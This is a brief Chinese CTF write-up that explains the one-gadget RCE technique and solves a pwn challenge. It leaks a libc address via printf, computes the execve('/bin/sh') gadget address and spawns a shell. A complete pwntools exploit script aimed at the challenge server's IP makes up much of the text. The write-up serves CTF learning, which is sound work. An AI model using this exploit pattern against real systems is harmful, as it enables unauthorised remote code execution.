One gadget rce

<–more–>

An execve([“/bin/sh”]) gadget,or similar,would be useful


上面两图,是我在谷歌学习的时候搜到的内容,在我的理解中,就是在linux下,某些libc中有一个地址,上面的内容是execve([“/bin/sh”]),这意味着,如果我能溢出,并覆盖到这个gadget的地址,那么我很容易就可以getshell了。

在IDA中,我们通过搜索字符串,/bin/sh可以找到如下图的内容,这就是one gadget rce,

从汇编来看,我们可以找到他的地址

上文,我们得知了一个getshell的小技巧,现在,我们来分析一下题目。


思路是这样的,首先,发送,我们需要去leak的地址的got,printf会帮我们读到他的地址,之后,我们只需要取值,然后去leak one gadget rce,计算他在内存中的地址,就能getshell了。
exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
# -*-coding:utf-8-*-
#python2

from pwn import *

#context.log_level = "debug"
puts_addr = 0x000000000006FD60
binsh_addr = 0x00000000000E66BD
r = remote("59.110.6.128", 10086)#pwn
#r = process("./oneshot")

r.sendline(str(0x600AD8))
r.recvuntil("Value: ")
data = r.recvuntil("\n").replace("\n","")
puts_addr = int(data,16)
print "[*] puts addr:{0}".format(hex(puts_addr))
one_shot_rce = puts_addr - 0x00000000006fd60 + 0x00000000000E66BD #one gadget rce addr
r.sendline(str(one_shot_rce))
r.interactive()

参考:
https://www.yumpu.com/en/document/view/37809267/dragons-ctf/37
题目链接:
http://pan.baidu.com/s/1qYjMJVY